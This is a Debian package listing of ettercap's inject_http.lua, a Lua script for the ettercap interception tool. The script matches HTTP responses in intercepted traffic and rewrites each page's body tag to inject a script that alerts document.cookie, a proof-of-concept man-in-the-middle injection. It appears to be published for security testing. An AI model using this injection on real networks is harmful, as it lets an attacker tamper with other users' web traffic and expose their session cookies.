/usr/share/ettercap/lua/scripts/inject_http.lua is in ettercap-common 1:0.8.1-3+deb8u1.
This file is owned by root:root, with mode 0o644.
The actual contents of the file can be viewed below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 | ---
-- Copyright (C) Ryan Linn and Mike Ryan
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software
-- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
description = "This is a test script that will inject HTTP stuff";
local eclib = require('eclib')
local hook_points = require("hook_points")
local shortpacket = require("shortpacket")
local shortsession = require("shortsession")
local packet = require("packet")
-- We have to hook at the filtering point so that we are certain that all the
-- dissectors hae run.
hook_point = hook_points.filter
function split_http(str)
local start,finish,header,body = string.find(str, '(.-\r?\n\r?\n)(.*)')
return start,finish,header, body
end
function shrink_http_body(body)
local modified_body = string.gsub(body, '>%s*<','><')
return modified_body
end
-- Cache our starts-with function...
local sw = shortpacket.data_starts_with("HTTP/1.")
-- We only want to match packets that look like HTTP responses.
packetrule = function(packet_object)
if packet.is_tcp(packet_object) == false then
return false
end
-- Check to see if it starts with the right stuff.
return sw(packet_object)
end
local session_key_func = shortsession.ip_session("inject_http")
-- Here's your action.
action = function(po)
local session_id = session_key_func(po)
if not session_id then
-- If we don't have session_id, then bail.
return nil
end
--local src_ip = ""
--local dst_ip = ""
local src_ip = packet.src_ip(po)
local dst_ip = packet.dst_ip(po)
ettercap.log("inject_http: " .. src_ip .. " -> " .. dst_ip .. "\n")
-- Get the full buffer....
reg = ettercap.reg.create_namespace(session_id)
local buf = packet.read_data(po)
-- Split the header/body up so we can manipulate things.
local start,finish,header, body = split_http(buf)
-- local start,finish,header,body = string.find(buf, '(.-\r?\n\r?\n)(.*)')
if not reg['a'] then
ettercap.log("Initial hit\n")
reg['a'] = 1
else
ettercap.log(tostring(reg['a']) .. " hit\n")
reg['a'] = reg['a'] + 1
end
if (not (start == nil)) then
-- We've got a proper split.
local orig_body_len = string.len(body)
local modified_body = string.gsub(body, '<body>','<body><script>alert(document.cookie)</script>')
-- We've tweaked things, so let's update the data.
if (not(modified_body == body)) then
ettercap.log("inject_http action : We modified the HTTP response!\n")
local modified_data = header .. modified_body
-- This takes care of setting the packet data, as well as flagging it
-- as modified.
packet.set_data(po, modified_data)
end
end
end
|